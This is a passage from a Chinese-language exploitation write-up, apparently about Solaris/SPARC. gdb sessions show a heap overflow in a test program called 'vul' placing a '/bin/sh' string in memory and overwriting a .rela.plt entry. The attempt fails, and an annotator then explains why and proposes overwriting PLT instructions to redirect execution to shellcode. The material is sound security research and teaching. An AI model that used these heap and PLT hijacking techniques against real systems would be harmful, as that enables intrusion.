0xaa1d4015 0x20ad0: 0xaa1d4015 0x20804973 0x20806261 0x20807365 0x20ae0: 0x20803a29 0x7fffffff 0x941a800a 0x9003e034 0x20af0: 0x920b800e 0x9c03a008 0xd023bff8 0xc023bffc /* fread之后,m2的malloc函数管理数据被覆盖 */ (gdb) x/20x m2-0x10 0x20ea8: 0x41414141 0x41414141 0xfffffff9 0xffffffff 0x20eb8: 0x000104d0 0xffffffff 0xffffffff 0xffffffff 0x20ec8: 0xffffffff 0xffffffff 0x00020b18 0xffffffff 0x20ed8: 0xffffffff 0xffffffff 0x00000000 0x00000000 0x20ee8: 0x00000000 0x00000000 0x00000000 0x00000000 (gdb) s 27 m3 = (void*) malloc(IOSIZE/2); /* 执行 malloc(IOSIZE/2) 将会导致.rela.plt被修改。我们先看一下修改前的内存内容 */ (gdb) x/10x 0x00020b18 0x20b18: 0x2f62696e 0x2f7368ff 0x41414141 0x41414141 0x20b28: 0x41414141 0x41414141 0x41414141 0x41414141 0x20b38: 0x41414141 0x41414141 (gdb) x/20x 0x000104d0 0x104d0 <_START_+1232>: 0x00000b15 0x00000000 0x00020960 0x00000f15 0x104e0 <_START_+1248>: 0x00000000 0x0002096c 0x00001815 0x00000000 0x104f0 <_START_+1264>: 0x00020978 0x00000215 0x00000000 0x00020984 0x10500 <_START_+1280>: 0x00000815 0x00000000 0x00020990 0x00001615 0x10510 <_START_+1296>: 0x00000000 0x0002099c 0x00000115 0x00000000 (gdb) s 29 printf("Free m1 and m3□cn"); (gdb) si 0x000107dc 29 printf("Free m1 and m3\n"); (gdb) si 0x000107e0 29 printf("Free m1 and m3\n"); (gdb) si 0x000107e4 29 printf("Free m1 and m3\n"); (gdb) si 0x00020978 in printf () (gdb) si 0x0002097c in printf () /* 我们再看一下修改后的内存内容,确实发生了改变,而且没有段出错 */ (gdb) x/20x 0x000104d0 0x104d0 <_START_+1232>: 0x00000b15 0x00000000 0x00020960 0x00000f15 0x104e0 <_START_+1248>: 0x00000000 0x0002096c 0x00001815 0x00000000 0x104f0 <_START_+1264>: 0x00020b18 0x00000215 0x00000000 0x00020984 0x10500 <_START_+1280>: 0x00000815 0x00000000 0x00020990 0x00001615 0x10510 <_START_+1296>: 0x00000000 0x0002099c 0x00000115 0x00000000 (gdb) x/10x 0x00020b18 0x20b18: 0x2f62696e 0x2f7368ff 0x000104d0 0x41414141 0x20b28: 0x41414141 0x41414141 0x41414141 0x41414141 0x20b38: 0x41414141 0x41414141 (gdb) c Continuing. Free m1 and m3 Program exited with code 01. (gdb) q hongkong:/home/minchumo 在vul的Segment 02 加上可写权限后,我们顺利的修改了.rela.plt的内容,但程序的运行似乎一点不受影响,我们的黑客码并没有被执行。 结论: 就我们上面的试验来看,在Solaris系统中Exploit PLT有一定的难度,因为.plt中并不包含可资利用的函数地址,而且需要改变8Bytes的内容。仅仅修改.rela.plt也不会改变程序的运行。 waring3注: 覆盖.rela.plt中printf入口地址的方法是没有用的. 因为在编译的时候, 程序就已经获得了printf的PLT地址,所以在执行的时候不会再去读.rela.plt中的内容了. [warning3@ /tmp]> gdb ./vul GNU gdb 5.0 Copyright 2000 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "sparc-sun-solaris2.7"... (gdb) disass main Dump of assembler code for function main: 0x109bc <main>: save %sp, -144, %sp 0x109c0 <main+4>: st %i0, [ %fp + 0x44 ] 0x109c4 <main+8>: st %i1, [ %fp + 0x48 ] 0x109c8 <main+12>: sethi %hi(0x10800), %o0 0x109cc <main+16>: or %o0, 0x370, %o0 ! 0x10b70 <_lib_version+8> 0x109d0 <main+20>: ld [ %o0 + 4 ], %o1 0x109d4 <main+24>: ld [ %o0 ], %o0 0x109d8 <main+28>: std %o0, [ %fp + -32 ] 0x109dc <main+32>: add %fp, -32, %o0 0x109e0 <main+36>: sethi %hi(0x10800), %o1 0x109e4 <main+40>: or %o1, 0x378, %o1 ! 0x10b78 <_lib_version+16> 0x109e8 <main+44>: call 0x20c48 <fopen> 0x109ec <main+48>: nop 0x109f0 <main+52>: st %o0, [ %fp + -20 ] 0x109f4 <main+56>: ld [ %fp + -20 ], %o0 0x109f8 <main+60>: cmp %o0, 0 0x109fc <main+64>: bne 0x10a1c <main+96> 0x10a00 <main+68>: nop 0x10a04 <main+72>: sethi %hi(0x10800), %o0 0x10a08 <main+76>: or %o0, 0x380, %o0 ! 0x10b80 <_lib_version+24> 0x10a0c <main+80>: call 0x20c54 <printf> ... (gdb) x/3i 0x20c54 0x20c54 <printf>: sethi %hi(0x21000), %g1 0x20c58 <printf+4>: b,a 0x20bd0 <_PROCEDURE_LINKAGE_TABLE_> 0x20c5c <printf+8>: nop 所以虽然你成功覆盖了.rela.plt的内容, 程序执行时却直接跳到printf的PLT地址去执行了, 这不会改编程序执行流程,所以你的攻击不会成功.printf()会正常打印出结果. 一个可能的思路是直接修改PLT入口的内容, (gdb) x/3i 0x20c54 0x20c54 <printf>: sethi %hi(0x21000), %g1 0x20c58 <printf+4>: sethi %hi(0xff303000), %g1 0x20c5c <printf+8>: jmp %g1 + 0x3e0 ! 0xff3033e0 <printf> 假设只覆盖4个字节, 我们可以考虑只覆盖0x20c58, 因为接下来要跳到%g1+0x3e0去,我们重写的指令应该设法将%g1重新赋值, 例如设法 使 %g1 = shellcodeaddr - 0x3e0. 问题就在于如何选择一个可以完成这个赋值操作, 并且本身又是一个有效的地址的指令. 理论上是存在此可能性的.:) 如果利用格式串漏洞,应该就很容易实现了, 因为它不需要指令本身是一个有效的地址. 另外还有一个小错误: hongkong:/home/moda objdump -S vul vul: file format elf32-sparc Contents of section .interp: 100d4 2f757372 2f6c6962 2f6c642e 736f2e31 /usr/lib/ld.so.1 100e4 00 . Contents of section .hash: 上面应该是用objdump -s vul. 用-S是看不到那些信息的. |